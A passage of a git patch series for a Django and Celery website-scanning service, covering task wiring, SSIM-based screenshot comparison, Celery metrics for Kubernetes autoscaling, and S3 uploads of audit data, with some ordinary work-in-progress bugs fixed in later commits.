     if 'yellowlab' in scan.type or 'full' in scan.type:
-        run_yellowlab_bg.delay(scan_id=scan.id)
+        run_yellowlab_bg.delay(scan_id=scan.id, test_id=test_id, automation_id=automation_id)
     if 'vrt' in scan.type or 'full' in scan.type:
-        run_vrt_bg.delay(scan_id=scan.id)
+        run_vrt_bg.delay(scan_id=scan.id, test_id=test_id, automation_id=automation_id)
 
     logger.info('created new Scan of Page')
 
@@ -206,23 +209,23 @@ def create_scan_bg(self, *args, **kwargs):
 
 
 @shared_task(bind=True, base=BaseTaskWithRetry)
-def run_html_and_logs_bg(self, scan_id=None, *args, **kwargs):
-    run_html_and_logs_task(scan_id)
+def run_html_and_logs_bg(self, scan_id=None, test_id=None, automation_id=None, *args, **kwargs):
+    _html_and_logs(scan_id, test_id, automation_id)
     logger.info('ran html & logs component')
 
 @shared_task(bind=True, base=BaseTaskWithRetry)
-def run_vrt_bg(self, scan_id=None, *args, **kwargs):
-    run_vrt_task(scan_id)
+def run_vrt_bg(self, scan_id=None, test_id=None, automation_id=None, *args, **kwargs):
+    _vrt(scan_id, test_id, automation_id)
     logger.info('ran vrt component')
 
 @shared_task(bind=True, base=BaseTaskWithRetry)
-def run_lighthouse_bg(self, scan_id=None, *args, **kwargs):
-    run_lighthouse_task(scan_id)
+def run_lighthouse_bg(self, scan_id=None, test_id=None, automation_id=None, *args, **kwargs):
+    _lighthouse(scan_id, test_id, automation_id)
     logger.info('ran lighthouse component')
 
 @shared_task(bind=True, base=BaseTaskWithRetry)
-def run_yellowlab_bg(self, scan_id=None, *args, **kwargs):
-    run_yellowlab_task(scan_id)
+def run_yellowlab_bg(self, scan_id=None, test_id=None, automation_id=None, *args, **kwargs):
+    _yellowlab(scan_id, test_id, automation_id)
     logger.info('ran yellowlab component')
 
 
@@ -301,6 +304,8 @@ def _create_test(
         )
         scan_page_bg.delay(
             scan_id=post_scan.id, 
+            test_id=created_test.id,
+            automation_id=automation_id,
             configs=configs,
         )
         
@@ -317,7 +322,11 @@ def _create_test(
     created_test.save()
     
     # monitor post_scan and run test after completion
-    check_scan_for_test.delay(test_id=created_test.id, automation_id=automation_id)
+    # check_scan_for_test.delay(test_id=created_test.id, automation_id=automation_id)
+
+    # check if pre and post scan are complete and start test if True
+    if pre_scan.time_completed is not None and post_scan.time_completed is not None:
+        run_test.delay(test_id=created_test.id, automation_id=automation_id)
     
     logger.info('Began Scan/Test process')
 
diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py
index a2cf4247..d058384c 100644
--- a/app/api/utils/driver_p.py
+++ b/app/api/utils/driver_p.py
@@ -15,7 +15,7 @@ async def driver_init(
         'args': [
             '--no-sandbox', 
             '--disable-dev-shm-usage',
-            '--force-device-scale-factor=1',
+            '--force-device-scale-factor=0.5',
             f'--window-size={window_size}',
         ],
         'defaultViewport': {
diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index 9b041471..96b8abda 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -38,7 +38,7 @@ def driver_init(
     options.add_argument("start-maximized")
     options.add_argument("--headless")
     options.add_argument("--disable-dev-shm-usage")
-    options.add_argument("--force-device-scale-factor=1")
+    options.add_argument("--force-device-scale-factor=0.5")
     options.add_argument("--window-size=%s" % window_size) 
 
     if device == 'mobile':
diff --git a/app/api/utils/image.py b/app/api/utils/image.py
index da7b3787..a03fee43 100644
--- a/app/api/utils/image.py
+++ b/app/api/utils/image.py
@@ -1190,7 +1190,7 @@ def test(self, test, index=None):
                 # build two new images with differences highlighted
                 def highlight_diffs(pre_img_path, post_img_path, index):
                     '''
-                        Returns -> two new images with highlights
+                        Returns -> two new images with highlights & float(ssim_score)
                     '''
                     # Load the images
                     image1 = cv2.imread(pre_img_path)
@@ -1201,7 +1201,7 @@ def highlight_diffs(pre_img_path, post_img_path, index):
                     gray2 = cv2.cvtColor(image2, cv2.COLOR_BGR2GRAY)
 
                     # Compute the SSIM map
-                    (ssim_map, diff) = structural_similarity(gray1, gray2, full=True)
+                    (ssim_score, diff) = structural_similarity(gray1, gray2, full=True)
 
                     # Highlight the differences
                     diff = (diff * 255).astype("uint8")
@@ -1224,8 +1224,13 @@ def highlight_diffs(pre_img_path, post_img_path, index):
                     cv2.imwrite(temp_root + f"/{img_1_id}.png", image1)
                     cv2.imwrite(temp_root + f"/{img_2_id}.png", image2)                    
                     img_objs = save_images(img_1_id, img_2_id, index)
+                    
+                    data = {
+                        "img_objs": img_objs,
+                        "ssim_score": ssim_score
+                    }
 
-                    return img_objs
+                    return data
 
 
                 # saving old images to new test.id path
@@ -1310,10 +1315,13 @@ def cv2_score(pre_img_array, post_img_array):
 
                 # test images
                 try:
-                    # ssim scoring
-                    img_score_tupple = ssim(pre_img_array, post_img_array)
-                    img_score_list = list(img_score_tupple)
-                    ssim_img_score = statistics.fmean(img_score_list) * 100
+                    # generating new highlighted images and score via ssim
+                    ssim_results = highlight_diffs(pre_img_path, post_img_path, i)
+                    diff_imgs = ssim_results['img_objs']
+                    
+                    # img_score_tupple = ssim(pre_img_array, post_img_array)
+                    # img_score_list = list(img_score_tupple)  statistics.fmean(img_score_list)
+                    ssim_img_score =  ssim_results['ssim_score'] * 100
 
                     # pillow scoring
                     pil_img_score = pil_score(pre_img, post_img)
@@ -1324,9 +1332,6 @@ def cv2_score(pre_img_array, post_img_array):
                     # weighted average
                     img_score = ((ssim_img_score * 2) + (pil_img_score * 1) + (cv2_img_score * 5)) / 8
 
-                    # generating new highlighted images
-                    diff_imgs = highlight_diffs(pre_img_path, post_img_path, i)
-
                     # saving old images to test.id path
                     old_imgs = save_images(pre_img_obj['id'], post_img_obj['id'], i)
 
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index bbd0746c..b89976c2 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -2,6 +2,8 @@
 from .driver_s import driver_wait
 from .driver_p import get_data
 from ..models import *
+from .automations import automation
+from .tester import Tester
 from django.forms.models import model_to_dict
 from django.core.serializers.json import DjangoJSONEncoder
 from .lighthouse import Lighthouse
@@ -330,7 +332,7 @@ def update_page_info(scan):
 
 
 
-def check_scan_completion(scan):
+def check_scan_completion(scan, test_id, automation_id):
     """
         Method that checks if the scan has finished all 
         components. If so, method also updates Scan, Site, 
@@ -369,6 +371,14 @@ def check_scan_completion(scan):
         scan.time_completed = time_completed
         scan.save()
 
+        # start Test if test_id present
+        if test_id is not None:
+            print('\n-\n---------------\nScan Complete\nStarting Test...\n---------------\n')
+            test = Test.objects.get(id=test_id)
+            Tester(test=test).run_test()
+            if automation_id:
+                automation(automation_id, test.id)
+
     return scan
 
 
@@ -376,7 +386,7 @@ def check_scan_completion(scan):
 
 
 
-def _html_and_logs(scan_id):
+def _html_and_logs(scan_id, test_id, automation_id):
     """
         Method to run the 'html' and 'logs' component of the scan 
         allowing for multi-threading.
@@ -427,7 +437,7 @@ def _html_and_logs(scan_id):
 
 
     # checking if scan is done
-    scan = check_scan_completion(scan)
+    scan = check_scan_completion(scan, test_id, automation_id)
 
     return scan
 
@@ -435,7 +445,7 @@ def _html_and_logs(scan_id):
 
 
 
-def _vrt(scan_id):
+def _vrt(scan_id, test_id, automation_id):
     """
         Method to run the visual regression (vrt) component of the scan 
         allowing for multi-threading.
@@ -461,7 +471,7 @@ def _vrt(scan_id):
         print(e)
 
     # checking if scan is done
-    scan = check_scan_completion(scan)
+    scan = check_scan_completion(scan, test_id, automation_id)
 
     return scan
 
@@ -469,7 +479,7 @@ def _vrt(scan_id):
 
 
 
-def _lighthouse(scan_id):
+def _lighthouse(scan_id, test_id, automation_id):
     """
         Method to run the lighthouse component of the scan 
         allowing for multi-threading.
@@ -490,7 +500,7 @@ def _lighthouse(scan_id):
         print(e)
 
     # checking if scan is done
-    scan = check_scan_completion(scan)
+    scan = check_scan_completion(scan, test_id, automation_id)
 
     return scan
 
@@ -499,7 +509,7 @@ def _lighthouse(scan_id):
 
 
 
-def _yellowlab(scan_id):
+def _yellowlab(scan_id, test_id, automation_id):
     """
         Method to run the yellowlab component of the scan 
         allowing for multi-threading.
@@ -520,6 +530,6 @@ def _yellowlab(scan_id):
         print(e)
 
     # checking if scan is done
-    scan = check_scan_completion(scan)
+    scan = check_scan_completion(scan, test_id, automation_id)
 
     return scan
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 2e7ddccb..add9d0a1 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2843,7 +2843,7 @@ def get_site_stats(request):
 
 
 
-def get_celery_task_length(request):
+def get_celery_metrics(request):
 
     # Inspect all nodes.
     i = celery.app.control.inspect()
@@ -2852,17 +2852,30 @@ def get_celery_task_length(request):
     # Active tasks
     active = i.active()
     
-    # init task counter
-    all_tasks = 0
+    # init task & replica counters
+    # & ratio 
+    num_tasks = 0
+    num_replicas = 0
+    ratio = 0
 
     # loop through all reserved & active tasks and
     # add length of array (tasks) to total
     for replica in reserved:
-        all_tasks += len(reserved[replica])
+        num_tasks += len(reserved[replica])
+        num_replicas += 1
     for replica in active:
-        all_tasks += len(active[replica])
+        num_tasks += len(active[replica])
+        num_replicas += 1
+
+    # build metrics
+    if num_replicas > 0:
+        ratio = num_tasks / num_replicas
 
     # return response
-    data = {"all_tasks": str(all_tasks)}
+    data = {
+        "num_tasks": num_tasks,
+        "num_replicas": num_replicas,
+        "ratio": ratio
+    }
     response = Response(data, status=status.HTTP_200_OK)
     return response
\ No newline at end of file
diff --git a/app/api/v1/ops/tasks.py b/app/api/v1/ops/tasks.py
index ce155744..452755e7 100644
--- a/app/api/v1/ops/tasks.py
+++ b/app/api/v1/ops/tasks.py
@@ -48,28 +48,6 @@ def create_scan_task(
 
 
 
-
-
-def run_html_and_logs_task(scan_id=None):
-    scan = _html_and_logs(scan_id)
-    return scan
-
-def run_vrt_task(scan_id=None):
-    scan = _vrt(scan_id)
-    return scan
-
-def run_lighthouse_task(scan_id=None):
-    scan = _lighthouse(scan_id)
-    return scan
-
-def run_yellowlab_task(scan_id=None):
-    scan = _yellowlab(scan_id)
-    return scan
-
-
-
-
-
 def create_test_task(
         test_id=None, 
         page_id=None,
diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py
index fbfb7322..de240a69 100644
--- a/app/api/v1/ops/urls.py
+++ b/app/api/v1/ops/urls.py
@@ -45,5 +45,5 @@
     path('beta/wordpress/migrate', views.WordPressMigrateSite.as_view(), name='migrate-site'),
     path('beta/wordpress/migrate/delay', views.WordPressMigrateSiteDelay.as_view(), name='migrate-site-delay'),
     path('beta/site/screenshot', views.SiteScreenshot.as_view(), name='site-screenshot'),
-    path('metrics/celery/tasks', views.CeleryTasks.as_view(), name='celery-tasks'),
+    path('metrics/celery', views.CeleryMetrics.as_view(), name='celery-metrics'),
 ]
\ No newline at end of file
diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index c978522c..ad8d6096 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -641,12 +641,12 @@ def post(self, request):
 
 
 
-class CeleryTasks(APIView):
+class CeleryMetrics(APIView):
     authentication_classes = []
     permission_classes = (AllowAny,)
     http_method_names = ['get',]
     
     def get(self, request):
-        response = get_celery_task_length(request)
+        response = get_celery_metrics(request)
         return response
 
diff --git a/k8s/prod/celery-autoscaler.yaml b/k8s/prod/celery-autoscaler.yaml
index 0d1cbc3e..9121994e 100644
--- a/k8s/prod/celery-autoscaler.yaml
+++ b/k8s/prod/celery-autoscaler.yaml
@@ -6,15 +6,15 @@ spec:
   scaleTargetRef:
     name: celery-deployment
   cooldownPeriod:  4000
-  pollingInterval: 10
+  pollingInterval: 15
   minReplicaCount: 2
   maxReplicaCount: 15
   triggers:
     - type: metrics-api
       metadata:
         targetValue: "5"
-        url: "https://api.scanerr.io/v1/ops/metrics/celery/tasks"
-        valueLocation: "all_tasks"
+        url: "https://api.scanerr.io/v1/ops/metrics/celery"
+        valueLocation: "ratio"
 
 
 
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 19474de8..61d95935 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -21,7 +21,7 @@ spec:
         - name: celery
           image: <IMAGE> # landonr/scanerr-server:7837ab3 # 
           imagePullPolicy: Always
-          command: ["celery", "-A", "scanerr", "worker", "--beat", "--scheduler", "django", "--loglevel=info", "-c 2"]
+          command: ["celery", "-A", "scanerr", "worker", "--beat", "--scheduler", "django", "--loglevel=info", "-c 3"]
           envFrom:
             - configMapRef:
                 name: app-configs
@@ -32,11 +32,11 @@ spec:
                   fieldPath: metadata.name
           resources:
             limits:
-              cpu: "2"
+              cpu: "1"
               memory: "4Gi"
             requests:
-              cpu: "2"
-              memory: "2Gi"
+              cpu: ".5"
+              memory: "1Gi"
           lifecycle:
             preStop:
               exec:

From 5808079e70e7747c461559aaa0781737807cb067 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 30 Jul 2023 16:16:40 -0500
Subject: [PATCH 090/752] fixing some bugs

---
 app/api/v1/ops/services.py   | 1 -
 k8s/prod/app-deployment.yaml | 1 +
 2 files changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index add9d0a1..af5a1621 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2865,7 +2865,6 @@ def get_celery_metrics(request):
         num_replicas += 1
     for replica in active:
         num_tasks += len(active[replica])
-        num_replicas += 1
 
     # build metrics
     if num_replicas > 0:
diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 17d8ccd1..6e2e9b51 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -57,6 +57,7 @@ kind: Service
 metadata:
   name: app-service
 spec:
+  externalTrafficPolicy: Cluster
   selector:
     app:  app-deployment
   ports:

From bc4581904d94f47e7c754cacb8c14d1ce9752582 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 30 Jul 2023 16:19:20 -0500
Subject: [PATCH 091/752] cleaning things up

---
 k8s/prod/celery-autoscaler.yaml             | 59 +--------------------
 k8s/prod/old_configs/celery-autoscaler.yaml | 43 +++++++++++++++
 2 files changed, 45 insertions(+), 57 deletions(-)
 create mode 100644 k8s/prod/old_configs/celery-autoscaler.yaml

diff --git a/k8s/prod/celery-autoscaler.yaml b/k8s/prod/celery-autoscaler.yaml
index 9121994e..c657599e 100644
--- a/k8s/prod/celery-autoscaler.yaml
+++ b/k8s/prod/celery-autoscaler.yaml
@@ -12,61 +12,6 @@ spec:
   triggers:
     - type: metrics-api
       metadata:
-        targetValue: "5"
+        targetValue: "3"
         url: "https://api.scanerr.io/v1/ops/metrics/celery"
-        valueLocation: "ratio"
-
-
-
-
-
-
-
-
-
-# apiVersion: keda.sh/v1alpha1
-# kind: ScaledObject
-# metadata:
-#   name: celery-scaler
-# spec:
-#   scaleTargetRef:
-#     name: celery-deployment
-#   pollingInterval: 3
-#   minReplicaCount: 2
-#   maxReplicaCount: 15
-#   triggers:
-#     - type: redis
-#       metadata:
-#         address: redis.default.svc.cluster.local:6379  # Format must be host:port redis:6379
-#         listName: celery # Required
-#         listLength: "5" # Required
-#         activationListLength: "5" # optional
-#         enableTLS: "false" # optional
-#         unsafeSsl: "false" # optional
-#         databaseIndex: "0" # optional
-
-
-
-
-# apiVersion: keda.sh/v1alpha1
-# kind: ScaledObject
-# metadata:
-#   name: celery-scaler
-# spec:
-#   scaleTargetRef:
-#     name: celery-deployment
-#   cooldownPeriod:  4000
-#   pollingInterval: 3
-#   minReplicaCount: 2
-#   maxReplicaCount: 15
-#   triggers:
-#   - type: rabbitmq
-#     metadata:
-#       host: amqp://rabbitmq.default.svc.cluster.local:5672 # rabbitmq.default.svc.cluster.local:5672 Optional. If not specified, it must be done by using TriggerAuthentication.
-#       mode: QueueLength # QueueLength or MessageRate
-#       value: "5" # message backlog or publish/sec. target per instance
-#       activationValue: "5" # Optional. Activation threshold
-#       queueName: celery
-
-
-
+        valueLocation: "ratio"
\ No newline at end of file
diff --git a/k8s/prod/old_configs/celery-autoscaler.yaml b/k8s/prod/old_configs/celery-autoscaler.yaml
new file mode 100644
index 00000000..a7e31e77
--- /dev/null
+++ b/k8s/prod/old_configs/celery-autoscaler.yaml
@@ -0,0 +1,43 @@
+# apiVersion: keda.sh/v1alpha1
+# kind: ScaledObject
+# metadata:
+#   name: celery-scaler
+# spec:
+#   scaleTargetRef:
+#     name: celery-deployment
+#   pollingInterval: 3
+#   minReplicaCount: 2
+#   maxReplicaCount: 15
+#   triggers:
+#     - type: redis
+#       metadata:
+#         address: redis.default.svc.cluster.local:6379  # Format must be host:port redis:6379
+#         listName: celery # Required
+#         listLength: "5" # Required
+#         activationListLength: "5" # optional
+#         enableTLS: "false" # optional
+#         unsafeSsl: "false" # optional
+#         databaseIndex: "0" # optional
+
+
+
+
+# apiVersion: keda.sh/v1alpha1
+# kind: ScaledObject
+# metadata:
+#   name: celery-scaler
+# spec:
+#   scaleTargetRef:
+#     name: celery-deployment
+#   cooldownPeriod:  4000
+#   pollingInterval: 3
+#   minReplicaCount: 2
+#   maxReplicaCount: 15
+#   triggers:
+#   - type: rabbitmq
+#     metadata:
+#       host: amqp://rabbitmq.default.svc.cluster.local:5672 # rabbitmq.default.svc.cluster.local:5672 Optional. If not specified, it must be done by using TriggerAuthentication.
+#       mode: QueueLength # QueueLength or MessageRate
+#       value: "5" # message backlog or publish/sec. target per instance
+#       activationValue: "5" # Optional. Activation threshold
+#       queueName: celery
\ No newline at end of file

From cfb969ca4edda0b032d58f23d147c7e2fbe7ab10 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 30 Jul 2023 16:27:15 -0500
Subject: [PATCH 092/752] removed LB config

---
 k8s/prod/app-deployment.yaml | 1 -
 1 file changed, 1 deletion(-)

diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 6e2e9b51..17d8ccd1 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -57,7 +57,6 @@ kind: Service
 metadata:
   name: app-service
 spec:
-  externalTrafficPolicy: Cluster
   selector:
     app:  app-deployment
   ports:

From f484cf5578ee24fdd6ddaf7548f3ce303ecfa2ab Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 30 Jul 2023 17:04:07 -0500
Subject: [PATCH 093/752] cleaning things up

---
 k8s/prod/app-deployment.yaml | 6 +++++-
 k8s/prod/app-ingress.yaml    | 2 +-
 2 files changed, 6 insertions(+), 2 deletions(-)

diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 17d8ccd1..fd67a2dd 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -18,7 +18,7 @@ spec:
         - name: regcred
       containers:
         - name: scanerr-server
-          image: <IMAGE> # landonr/scanerr-server:1e6dca5 # 
+          image: <IMAGE> # landonr/scanerr-server:9e5b01f # 
           imagePullPolicy: Always
           ports:
             - containerPort: 8000
@@ -56,7 +56,11 @@ apiVersion: v1
 kind: Service
 metadata:
   name: app-service
+  labels:
+    service: app
 spec:
+  type: NodePort
+  externalTrafficPolicy: Local
   selector:
     app:  app-deployment
   ports:
diff --git a/k8s/prod/app-ingress.yaml b/k8s/prod/app-ingress.yaml
index 3e788c57..a44b91d4 100644
--- a/k8s/prod/app-ingress.yaml
+++ b/k8s/prod/app-ingress.yaml
@@ -1,10 +1,10 @@
 apiVersion: networking.k8s.io/v1
 kind: Ingress
 metadata:
+  name: app-ingress
   ## ensure below section is commented out on first creation ##
   # annotations:
   #   cert-manager.io/cluster-issuer: letsencrypt-nginx     
-  name: app-ingress
 spec:
   ## ensure below section is comented out on first creation ##
   # tls:

From 020cf73e4eb6089a99f8e5271865e8409cace648 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Mon, 31 Jul 2023 18:50:13 -0500
Subject: [PATCH 094/752] added mem optmization & size err handling

---
 app/api/utils/image.py | 50 ++++++++++++++++++++++++++++--------------
 1 file changed, 34 insertions(+), 16 deletions(-)

diff --git a/app/api/utils/image.py b/app/api/utils/image.py
index a03fee43..4b71df31 100644
--- a/app/api/utils/image.py
+++ b/app/api/utils/image.py
@@ -1129,8 +1129,6 @@ def test(self, test, index=None):
             - Structral Similarity Index (ssim)
             - PIL ImageChop Differences, Ratio
             - cv2 ORB Brute-force Matcher, Ratio
-
-        
         """
 
         # setup boto3 configurations
@@ -1165,11 +1163,6 @@ def test(self, test, index=None):
             with open(pre_img_path, 'wb') as data:
                 s3.download_fileobj(str(settings.AWS_STORAGE_BUCKET_NAME), pre_img_obj["path"], data)
             
-            # open with PIL Image library
-            pre_img = I.open(pre_img_path)
-            # convert to array
-            pre_img_array = numpy.array(pre_img)
-
             # getting post_scan image
             try:
                 post_img_obj = test.post_scan.images[i]
@@ -1181,10 +1174,24 @@ def test(self, test, index=None):
                 with open(post_img_path, 'wb') as data:
                     s3.download_fileobj(str(settings.AWS_STORAGE_BUCKET_NAME), post_img_obj["path"], data)
                 
-                # open with PIL Image library
+                # open images with PIL Image library
                 post_img = I.open(post_img_path)
-                # convert to array
-                post_img_array = numpy.array(post_img)
+                pre_img = I.open(pre_img_path)
+                
+                # check and reformat image sizes if necessary
+                pre_img_w, pre_img_h = pre_img.size
+                post_img_w, post_img_h = post_img.size
+
+                # pre_img is longer
+                if pre_img_h > post_img_h:
+                    new_pre_img = pre_img.crop((0, 0, pre_img_w, post_img_h))
+                    new_pre_img.save(pre_img_path, quality=100)
+                    pre_img = I.open(pre_img_path)
+                # post_img is longer
+                if post_img_h > pre_img_h:
+                    post_img = post_img.crop((0, 0, post_img_w, pre_img_h))
+                    new_post_img.save(post_img_path, quality=100)
+                    new_post_img = I.open(post_img_path)
 
 
                 # build two new images with differences highlighted
@@ -1284,10 +1291,14 @@ def pil_score(pre_img, post_img):
 
 
                 # test with cv2
-                def cv2_score(pre_img_array, post_img_array):
+                def cv2_score(pre_img, post_img):
                     try:
                         orb = cv2.ORB_create()
 
+                        # convert to array
+                        pre_img_array = numpy.array(pre_img)
+                        post_img_array = numpy.array(post_img)
+
                         # detect keypoints and descriptors
                         kp_a, desc_a = orb.detectAndCompute(pre_img_array, None)
                         kp_b, desc_b = orb.detectAndCompute(post_img_array, None)
@@ -1317,7 +1328,8 @@ def cv2_score(pre_img_array, post_img_array):
                 try:
                     # generating new highlighted images and score via ssim
                     ssim_results = highlight_diffs(pre_img_path, post_img_path, i)
-                    diff_imgs = ssim_results['img_objs']
+                    pre_img_diff = ssim_results['img_objs'][0]
+                    post_img_diff = ssim_results['img_objs'][1]
                     
                     # img_score_tupple = ssim(pre_img_array, post_img_array)
                     # img_score_list = list(img_score_tupple)  statistics.fmean(img_score_list)
@@ -1334,18 +1346,24 @@ def cv2_score(pre_img_array, post_img_array):
 
                     # saving old images to test.id path
                     old_imgs = save_images(pre_img_obj['id'], post_img_obj['id'], i)
+                    pre_img = old_imgs[0]
+                    post_img = old_imgs[1]
 
                 except Exception as e:
                     print(e)
                     img_score = None
+                    pre_img = None
+                    post_img = None
+                    pre_img_diff = None
+                    post_img_diff = None
 
                 # create img test obj and add to array
                 img_test_obj = {
                     "index": i, 
-                    "pre_img": old_imgs[0],
-                    "post_img": old_imgs[1],
-                    "pre_img_diff": diff_imgs[0], 
-                    "post_img_diff": diff_imgs[1], 
+                    "pre_img": pre_img,
+                    "post_img": post_img,
+                    "pre_img_diff": pre_img_diff, 
+                    "post_img_diff": post_img_diff, 
                     "score": img_score,
                 }
 

From f59b4f5cf899271b472ccf9b0ad26eb8911596ab Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Mon, 31 Jul 2023 18:50:50 -0500
Subject: [PATCH 095/752] changed audit payload to s3 bound json file

---
 app/api/utils/lighthouse.py | 31 +++++++++++++++++++++++++++++--
 app/api/utils/yellowlab.py  | 24 ++++++++++++++++++++++--
 2 files changed, 51 insertions(+), 4 deletions(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index d3b32d8e..cde9113d 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -1,5 +1,6 @@
-import subprocess, json
+import subprocess, json, uuid, boto3, shutil
 from ..models import Site, Scan
+from scanerr import settings
 
 
 
@@ -39,6 +40,14 @@ def init_audit(self):
 
     def get_data(self):
 
+        # setup boto3 configurations
+        s3 = boto3.client(
+            's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+            region_name=str(settings.AWS_S3_REGION_NAME), 
+            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+        )
+
         try:
             stdout_value = self.init_audit() 
             # decode bytes into string
@@ -116,10 +125,28 @@ def get_data(self):
                     "average": average_score
                 }
 
+                # save audits data as json file
+                file_id = uuid.uuid4()
+                with open(f'{file_id}.json', 'w') as fp:
+                    json.dump(audits, fp)
+                
+                # upload to s3 and return url
+                audit_file = os.path.join(settings.BASE_DIR, f'{file_id}.png')
+                remote_path = f'static/sites/{self.site.id}/{self.page.id}/{self.scan.id}/{file_id}.png'
+                root_path = settings.AWS_S3_URL_PATH
+                audits_url = f'{root_path}/{remote_path}'
+            
+                # upload to s3
+                with open(audit_file, 'rb') as data:
+                    s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+                        remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
+                    )
+                # remove local copy
+                os.remove(image)
 
                 data = {
                     "scores": scores, 
-                    "audits": audits,
+                    "audits": audits_url,
                     "failed": False
                 }
 
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 2c0eb08f..1fb40e90 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -1,5 +1,6 @@
-import subprocess, json
+import subprocess, json, uuid, boto3, shutil
 from ..models import Site, Scan
+from scanerr import settings
 
 
 
@@ -93,9 +94,28 @@ def get_data(self):
                     "serverConfig": serverConfig_score,
                 }
 
+                # save audits data as json file
+                file_id = uuid.uuid4()
+                with open(f'{file_id}.json', 'w') as fp:
+                    json.dump(audits, fp)
+                
+                # upload to s3 and return url
+                audit_file = os.path.join(settings.BASE_DIR, f'{file_id}.png')
+                remote_path = f'static/sites/{self.site.id}/{self.page.id}/{self.scan.id}/{file_id}.png'
+                root_path = settings.AWS_S3_URL_PATH
+                audits_url = f'{root_path}/{remote_path}'
+            
+                # upload to s3
+                with open(audit_file, 'rb') as data:
+                    s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+                        remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
+                    )
+                # remove local copy
+                os.remove(image)
+
                 data = {
                     "scores": scores, 
-                    "audits": audits,
+                    "audits": audits_url,
                     "failed": False
                 }
 

From 405d3456f11ef564dcaceffe51be3ca995ae2380 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Mon, 31 Jul 2023 19:08:12 -0500
Subject: [PATCH 096/752] fixed a bug

---
 app/api/utils/image.py       | 4 ++--
 k8s/prod/app-deployment.yaml | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/app/api/utils/image.py b/app/api/utils/image.py
index 4b71df31..6c2db378 100644
--- a/app/api/utils/image.py
+++ b/app/api/utils/image.py
@@ -1189,9 +1189,9 @@ def test(self, test, index=None):
                     pre_img = I.open(pre_img_path)
                 # post_img is longer
                 if post_img_h > pre_img_h:
-                    post_img = post_img.crop((0, 0, post_img_w, pre_img_h))
+                    new_post_img = post_img.crop((0, 0, post_img_w, pre_img_h))
                     new_post_img.save(post_img_path, quality=100)
-                    new_post_img = I.open(post_img_path)
+                    post_img = I.open(post_img_path)
 
 
                 # build two new images with differences highlighted
diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index fd67a2dd..804a2680 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -60,7 +60,7 @@ metadata:
     service: app
 spec:
   type: NodePort
-  externalTrafficPolicy: Local
+  externalTrafficPolicy: Cluster
   selector:
     app:  app-deployment
   ports:

From 60e57ea07ecbc65f2e915270fa7e3baac689f8c7 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Mon, 31 Jul 2023 19:11:12 -0500
Subject: [PATCH 097/752] fixed import bug

---
 app/api/utils/lighthouse.py | 2 +-
 app/api/utils/yellowlab.py  | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index cde9113d..aedfb6d3 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -1,4 +1,4 @@
-import subprocess, json, uuid, boto3, shutil
+import subprocess, json, uuid, boto3, shutil, os
 from ..models import Site, Scan
 from scanerr import settings
 
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 1fb40e90..3deda5df 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -1,4 +1,4 @@
-import subprocess, json, uuid, boto3, shutil
+import subprocess, json, uuid, boto3, shutil, os
 from ..models import Site, Scan
 from scanerr import settings
 

